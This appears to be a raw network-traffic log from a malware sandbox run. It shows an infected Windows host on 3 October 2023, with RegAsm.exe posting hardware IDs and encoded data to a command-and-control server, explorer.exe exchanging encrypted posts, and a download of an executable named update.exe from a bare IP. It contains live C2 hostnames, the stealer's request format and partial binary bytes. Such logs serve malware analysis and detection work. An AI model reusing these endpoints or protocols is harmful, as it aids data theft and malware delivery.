52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49829	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:12.132297993 CEST	5376	OUT	POST /api HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: fiancejiveimp.fun Content-Length: 54 Cache-Control: no-cache Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 72 49 77 68 6f 55 2d 2d 45 6c 76 69 6e 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=rIwhoU--Elvin&j=default&ver=4.0
Oct 3, 2023 09:55:12.460585117 CEST	5381	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ef23ebffv4qfh7q0h4tii9jelj; expires=Sat, 27 Jan 2024 01:41:51 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:12 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ESuqK77%2BGR7oJO3r%2B51OAIBUMpZ1lBQ%2BsZ06tciMVyG1UyGwF1Yu4%2F6frM%2FkBFLOfkGdui%2FmeAZISQkbE5NVOAN6V6XHnn%2FJhSLM0Q%2FgCxqupq2OzNqYiFXBcHvlL0%2F8B34MkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f190eae29b6-IAD Data Raw: 64 38 66 0d 0a 38 55 61 57 53 67 71 77 59 41 55 67 67 78 74 79 74 4a 79 33 69 30 55 68 79 57 65 55 4b 58 70 78 37 39 44 63 33 75 53 61 76 7a 75 4b 53 35 78 71 4b 70 42 41 4a 31 61 68 49 56 4b 41 73 4c 71 42 5a 51 48 70 52 37 5a 61 48 31 50 56 38 4b 69 73 6b 66 2b 54 4e 76 74 6d 74 6d 6f 71 6b 67 46 68 41 72 6b 37 46 4e 58 77 78 4f 35 70 4c 4d 4e 48 74 41 6c 61 55 34 71 6f 2f 75 54 45 77 62 49 78 30 57 61 32 61 69 71 51 47 77 67 71 6f 7a 74 53 6c 4c 79 58 71 32 Data Ascii: d8f8UaWSgqwYAUggxtytJy3i0UhyWeUKXpx79Dc3uSavzuKS5xqKpBAJ1ahIVKAsLqBZQHpR7ZaH1PV8Kiskf+TNvtmtmoqkgFhArk7FNXwxO5pLMNHtAlaU4qo/uTEwbIx0Wa2aiqQGwgqoztSlLyXq2
Oct 3, 2023 09:55:12.460642099 CEST	5383	IN	Data Raw: 55 44 72 41 6d 32 45 31 70 54 69 72 71 2b 76 34 6a 34 33 6c 43 65 4e 76 6f 70 59 74 77 48 62 55 58 67 66 78 50 59 38 64 4c 75 49 45 43 6a 43 66 31 45 45 68 7a 4e 2f 4e 48 55 78 4c 71 66 47 39 46 6d 74 6d 6f 6f 31 52 6f 6e 47 71 4d 35 50 39 48 6f Data Ascii: UDrAm2E1pTirq+v4j43lCeNvopYtwHbUXgfxPY8dLuIECjCf1EEhzN/NHUxLqfG9Fmtmoo1RonGqM5P9Ho1sYkUqJFmSNaUc/w/P6ZtrIx0Wa2aiqQGwgqoztSlLyXq2UDrAm2E1pTgbu+t4z83V6eIfcva98FbUzmfRzf89PpIEeuF/NCFB/N/NHUxLqfG9Fmtmoo1RonGqM5P9Ho1sYkUqJFmSNaUc/w/P6ZtrIx0Wa2aiqQG
Oct 3, 2023 09:55:12.460715055 CEST	5384	IN	Data Raw: 43 56 70 52 7a 2f 44 38 2f 49 48 30 6e 51 48 52 5a 50 34 36 62 64 77 47 62 55 66 6c 64 52 72 57 2b 38 66 68 49 55 53 6e 44 66 4e 45 48 68 61 41 74 62 57 2f 6c 4f 72 65 58 5a 30 6f 74 47 59 48 75 6b 41 6c 41 4b 4d 37 55 70 53 38 6c 65 34 2f 41 2f Data Ascii: CVpRz/D8/IH0nQHRZP46bdwGbUfldRrW+8fhIUSnDfNEHhaAtbW/lOreXZ0otGYHukAlAKM7UpS8le4/A/NHtm4PEJ20vfzpkJ8b0Wa2anecbQ8AoztSlLzMhk8B6Ue0CVpRz/K5sMagnxmTKvgjb9kJY0bhdBvY8NzlL0+sF/tOEBmEt7KxhereWNNqm0AqkEAlAKM7Upb5zal/AesixXw7U+La/P7Eup8bjGqbQCqQQCUAo2B
Oct 3, 2023 09:55:12.460733891 CEST	5385	IN	Data Raw: 32 35 73 59 44 30 31 31 43 62 49 76 73 68 65 74 45 4f 61 55 58 76 64 52 37 62 39 4e 62 6b 5a 77 33 45 62 62 51 4a 57 6c 48 50 38 50 7a 2b 78 76 2f 46 47 63 74 6d 74 41 52 76 33 79 78 73 54 75 59 35 66 37 36 38 6c 36 74 6c 41 65 6b 61 75 43 52 77 Data Ascii: 25sYD011CbIvshetEOaUXvdR7b9NbkZw3EbbQJWlHP8Pz+xv/FGctmtARv3yxsTuY5f768l6tlAekauCRwUc/w/P7E4bIx0Wa2aiqQQCUC5nVQjryV5S1PogX/ThAYhLe/t4P721ScLeYia9wBa07neBPE9typaSzDR7QJWlHP8Pz8geCdAdFk1SZlxgV3Ao4RUpS8l6tlXOVqniBaUZTd1v7Eup8b0Wa2aG/eQj8AoXoR2f3U5
Oct 3, 2023 09:55:12.460822105 CEST	5386	IN	Data Raw: 33 32 65 31 0d 0a 65 33 66 72 5a 34 43 78 4b 72 67 6e 33 51 42 45 57 69 62 69 34 73 63 61 32 73 6a 48 52 5a 72 5a 71 4b 70 42 41 4a 51 4c 6d 59 56 43 4f 76 4a 58 46 4a 45 79 67 52 5a 6b 6a 57 6c 48 50 38 50 7a 2b 6d 62 61 79 4d 66 78 4d 6e 32 6f Data Ascii: 32e1e3frZ4CxKrgn3QBEWibi4sca2sjHRZrZqKpBAJQLmYVCOvJXFJEygRZkjWlHP8Pz+mbayMfxMn2oqy20PAKM7UpS8l6tnRKdFrglYFIW6sL+A89FVki3yLWDVDWBL5nkWxPnY4CdIog/yShNTw93W/sS6nxvRZrZob8pCPwChSxfA7tapSCvpR7QJWlGS/NXT7pOfG4pLnGoqkEAlAKM7UNHylbFlA6YX904KF4K5rLeA
Oct 3, 2023 09:55:12.461010933 CEST	5388	IN	Data Raw: 66 32 72 36 62 68 6b 38 42 36 55 65 30 43 56 70 52 7a 2f 4b 35 70 4d 61 67 6e 78 6d 39 4c 2b 63 2f 61 39 77 4a 63 56 6d 68 46 6e 69 55 76 4a 65 72 5a 51 47 30 53 35 6b 6a 57 6c 48 50 38 50 7a 2b 6e 35 65 31 47 39 46 6d 74 6d 6f 71 6b 45 41 6e 52 Data Ascii: f2r6bhk8B6Ue0CVpRz/K5pMagnxm9L+c/a9wJcVmhFniUvJerZQG0S5kjWlHP8Pz+n5e1G9FmtmoqkEAnRe05SJS+1uIsR6sJ9k8VE5+9ubuP889TlCP/IGPdBHVO72sVxOyVp0gr6Ue0CVpRz/D+u564hRvTEvM4eNFAVlTibxvb8pWGTwHpR7QJWgzD3db+xLqfG9E9m0AqkEAlAKM7Upb52al/AesD+UIbHIy7srGD8dhYlS
Oct 3, 2023 09:55:12.461095095 CEST	5389	IN	Data Raw: 52 46 45 73 79 58 37 55 56 68 38 35 66 44 38 2f 73 53 36 6e 30 62 64 53 35 78 71 4b 70 42 41 4a 51 44 34 46 6e 69 55 76 4a 65 72 5a 51 48 70 52 37 5a 4d 46 46 50 56 38 50 36 79 69 2f 37 63 57 4a 73 73 39 43 35 69 31 67 46 75 51 65 5a 77 46 74 33 Data Ascii: RFEsyX7UVh85fD8/sS6n0bdS5xqKpBAJQD4FniUvJerZQHpR7ZMFFPV8P6yi/7cWJss9C5i1gFuQeZwFt393+YgRa8F/UwWFYi5t/zIl7Ub0Wa2aiqQQCdF+TlIlL7zyjVRmQv1UFh85fD8/sS6n0bdS5xqKpBAJQD4FniUvJerZQHpR7ZMFFPV8P63jvfPXJos8CFo1ghqReF8HdP62+0gQ6cK8UMXF429/vLpkJ8b0Wa2aiqQ
Oct 3, 2023 09:55:12.461220980 CEST	5390	IN	Data Raw: 30 43 56 70 54 69 71 72 2b 35 4d 53 34 2f 55 4b 65 4b 50 4e 6f 42 37 70 41 4a 51 43 6a 4f 31 4c 4a 73 4c 71 42 5a 51 48 70 52 37 51 4a 41 58 7a 6c 38 50 7a 2b 78 4c 71 66 47 39 46 6b 38 79 51 6f 69 6b 41 6e 53 65 31 39 46 39 62 7a 31 75 45 69 52 Data Ascii: 0CVpTiqr+5MS4/UKeKPNoB7pAJQCjO1LJsLqBZQHpR7QJAXzl8Pz+xLqfG9Fk8yQoikAnSe19F9bz1uEiR6EA9kMKG421rK6G8dhVkCTwLmHUAWMCrxZ4lLyXq2UB6Ue2TABT1fD+kYr/9F6IZJtAKpBAJQCjZl65lperZQHpR+8kcFHP8Pz+xLqfGZQotHAqkgNsSO50E9D93uwtQqwN+1kbHIK2vrOA/txWlSP9KWDVQiktiT
Oct 3, 2023 09:55:12.461318970 CEST	5392	IN	Data Raw: 66 44 2b 69 59 58 32 30 31 36 46 4e 62 6b 50 5a 74 55 44 63 56 4c 32 64 6c 43 59 6b 62 32 72 5a 51 48 70 52 37 51 4a 57 6c 4f 4c 38 75 62 2b 31 62 61 79 4d 64 46 6d 74 6d 6f 71 6b 45 41 6c 41 75 56 6f 55 49 36 38 68 62 74 38 46 76 68 53 70 68 6c Data Ascii: fD+iYX2016FNbkPZtUDcVL2dlCYkb2rZQHpR7QJWlOL8ub+1bayMdFmtmoqkEAlAuVoUI68hbt8FvhSphl3e8/w/P7EusIX/Ey2aiqQQCVbjhFSlLyXq2UB6UXgC0BR3/zR1MS6nxvRZrZqKMBCPwChPhPE7NPqMUDsO8hsDhmKormribiTNvtmtmoqkEAlAKF2UI687IZPAelHtAlaUc/w/P7EuNReiDXiJXjVQggqoztSlLyX
Oct 3, 2023 09:55:12.461415052 CEST	5393	IN	Data Raw: 34 32 78 6e 4c 5a 71 52 6d 42 37 70 41 4a 51 43 6a 4f 31 4b 55 76 4a 58 74 4e 67 50 7a 52 36 59 5a 51 30 62 65 35 65 37 75 36 5a 43 66 47 39 46 6d 74 6d 70 33 6e 47 30 50 41 4b 4d 37 55 70 53 38 7a 49 5a 50 41 65 6c 48 74 41 6c 61 55 63 2f 79 71 Data Ascii: 42xnLZqRmB7pAJQCjO1KUvJXtNgPzR6YZQ0be5e7u6ZCfG9Fmtmp3nG0PAKM7UpS8zIZPAelHtAlaUc/yqPzeuo8X/Ey2aiqQQCUAozkClqaXqWBAuRfwSA4QyoyAn5Hu10LRAvM5YcQPdXzfVx3X/durFlWmFfVOHy2zvLmogfbbWdNqm0AqkEAlAKM7UpbxlbFleutNtnRWfOXw/P7Eup8b0WTsaDCQQlJB73cXwO+YyjBVoR
Oct 3, 2023 09:55:12.461491108 CEST	5395	IN	Data Raw: 76 4d 70 66 73 49 56 61 41 4b 76 46 6e 69 55 76 4a 65 72 5a 51 48 70 52 37 5a 4e 57 45 76 50 34 76 44 54 37 72 71 66 47 39 46 6d 74 6d 6f 71 6b 67 5a 32 41 72 6b 37 51 49 53 6c 67 4c 70 77 45 2f 6c 71 6e 67 6c 61 55 63 2f 77 2f 4b 50 49 6c 37 55 Data Ascii: vMpfsIVaAKvFniUvJerZQHpR7ZNWEvP4vDT7rqfG9FmtmoqkgZ2Ark7QISlgLpwE/lqnglaUc/w/KPIl7Uy0WbtRwCQQCUAoztSlL7DqX8B+EuZI1pRz/D8/sS6nUvTfLZoL9wPZkHvegLE+Nb/JASVO9NGFRaDtYCCp/LNVJwjyhZfwwV3AMd6BtW+m4ZPAelHtAlaUc/ypvzeup14mTT5J2+SbQ8AoztSlLzKp0gr6Ue0CVpR

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49831	211.181.24.133	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:12.581852913 CEST	5405	OUT	POST /tmp/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://diludhd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: gudintas.at
Oct 3, 2023 09:55:12.581852913 CEST	5405	OUT	Data Raw: 3b 6e 52 62 f2 c2 1e 26 d6 db c6 07 04 74 0b cc 0c 03 c0 96 1a 05 92 64 0e 75 72 e2 30 c6 b1 6e 9b 2b c3 5d 01 6a 51 69 e9 9d 3f c7 2a 24 da f7 60 aa 37 43 de 16 5b c0 7a 71 17 7f 4e e2 1e 1d c7 41 20 ff 2d 5b 00 6b 2c 90 f5 76 0b 75 28 47 b5 82 Data Ascii: ;nRb&tdur0n+]jQi?*$`7C[zqNA -[k,vu(Gx}d[^rYn9NJA
Oct 3, 2023 09:55:15.114295959 CEST	5512	IN	HTTP/1.0 404 Not Found Date: Tue, 03 Oct 2023 07:55:14 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 59 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 28 52 39 08 a5 6c 53 b5 a9 1f a6 d0 b3 f9 7b db 21 d3 fc 30 51 1c 89 9d 8a dc 61 c3 2d 5a 06 8f 06 8b 4d 63 1d 51 a5 9e Data Ascii: #\(R9lS{!0Qa-ZMcQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49834	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:12.695708990 CEST	5407	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:12.696086884 CEST	5407	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:13.157402039 CEST	5457	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=1i6l1cushmp3rgrfmg2dbscog6; expires=Sat, 27 Jan 2024 01:41:52 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mu1tP%2Bu1ESoPwX5SCQHZiOgxN2ascSgjnUwi3kBRYa618lCeKRllFj36o2Z2zAQMhTwmjo0Kb0wlFAy7eIKe3T%2FbUP2Pku%2BbXF8DKEDQXP2WDevJtNP1BIqsDZK0jleaIcNc1A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f1c99242064-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:13.157427073 CEST	5457	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49838	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:13.382550001 CEST	5463	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:13.382993937 CEST	5464	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:13.707520962 CEST	5503	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=m2nbtptvccfn7192igtqs5jpfa; expires=Sat, 27 Jan 2024 01:41:52 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:13 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5ig02mzaZ%2F7iBldn1LqvSA%2BDcp4LPkTek8vO7RUtIStnJqS%2BRIz3zEmKqVkqb4mfYItt%2FDU9HgvpWVToTmYy6K%2BAnt95%2Bvvfl4ZZPvlBrA1whE9BwrkhDOjkcGm4xp0QDLIOfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f20dfb50805-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:13.707583904 CEST	5503	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49840	104.21.81.17	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:13.917474031 CEST	5505	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:13.917891026 CEST	5505	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:14.389487982 CEST	5508	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=sf131judmnorue812us3fh2riv; expires=Sat, 27 Jan 2024 01:41:53 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UmsHYpwyTcs1AJyBbXNfAl71Frqay7mBUneQzZCgHiLtXyryvieFXJo82jGtdz3rBrCPyRoBxrUol5ktu87xjh1i81BEAa%2F2e61XX83D90fi%2BdirLnF8ePm6FvzNDtkmfi70rA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f243ee17fae-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:14.389511108 CEST	5508	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49842	172.67.137.125	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:14.607033968 CEST	5510	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 534 Host: fiancejiveimp.fun
Oct 3, 2023 09:55:14.607455015 CEST	5510	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 61 63 74 22 0d 0a 0d 0a 73 65 6e 64 5f 6d 65 73 73 61 67 Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="act"send_message--SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"94F54833719A8886115329378BD39393A3A15022--SqDe87817huf871793q74Content-Disposition
Oct 3, 2023 09:55:15.286675930 CEST	5515	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=ll8gt8tphlrd6tfr72mc8gjsb6; expires=Sat, 27 Jan 2024 01:41:53 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sat, 02 Dec 2023 07:55:14 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2Y0%2FLJSQv0nS%2BW04BFt5PjQWcLYDHXeFESrVTgP1SJSJOhkMAFsCepgWXUUfJKdkduhvsSrUewOHiA8oO6%2Fk75DcNoYI0D6MxofQNJSDTWYWrrWmZ9%2Bq9GeuAJItvKaoqOExCQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 81039f28890a3ad5-IAD Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
Oct 3, 2023 09:55:15.287029982 CEST	5515	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49843	193.149.185.139	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 3, 2023 09:55:15.285729885 CEST	5514	OUT	GET /ofdskiewerews/update.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 193.149.185.139
Oct 3, 2023 09:55:15.453424931 CEST	5517	IN	HTTP/1.1 200 OK Date: Tue, 03 Oct 2023 07:55:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 03 Oct 2023 07:15:06 GMT ETag: "98800-606caa6821478" Accept-Ranges: bytes Content-Length: 624640 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 6a 10 68 79 0b 7e 3b 79 0b 7e 3b 79 0b 7e 3b aa 79 7d 3a 72 0b 7e 3b aa 79 7b 3a e9 0b 7e 3b aa 79 7a 3a 6d 0b 7e 3b 36 77 7a 3a 68 0b 7e 3b aa 79 7f 3a 70 0b 7e 3b 79 0b 7f 3b f4 0b 7e 3b 36 77 7b 3a 47 0b 7e 3b 36 77 7d 3a 6f 0b 7e 3b b8 77 7b 3a 78 0b 7e 3b b8 77 7e 3a 78 0b 7e 3b b8 77 81 3b 78 0b 7e 3b b8 77 7c 3a 78 0b 7e 3b 52 69 63 68 79 0b 7e 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cc be 1b 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 22 00 78 01 00 00 18 08 00 00 00 00 00 88 62 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 09 00 00 04 00 00 00 00 00 00 03 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 1c 02 00 50 00 00 00 c0 1c 02 00 64 00 00 00 00 a0 09 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 68 19 00 00 b0 fb 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 01 00 18 00 00 00 f0 fa 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 84 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 